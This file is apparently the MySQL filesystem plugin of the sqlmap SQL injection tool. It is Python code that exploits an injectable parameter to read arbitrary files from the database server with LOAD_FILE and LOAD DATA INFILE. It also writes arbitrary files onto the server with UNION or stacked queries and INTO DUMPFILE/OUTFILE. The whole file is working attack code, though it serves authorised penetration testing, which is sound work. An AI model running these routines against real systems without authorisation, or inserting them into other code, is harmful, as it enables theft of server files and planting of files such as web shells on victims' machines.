#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import getSQLSnippet from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) chunkSize = 1024 if length > chunkSize: result = [] for i in xrange(1, length, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result @stackedmethod def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck) def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) return self.askCheckWrittenFile(wFile, dFile, forceCheck)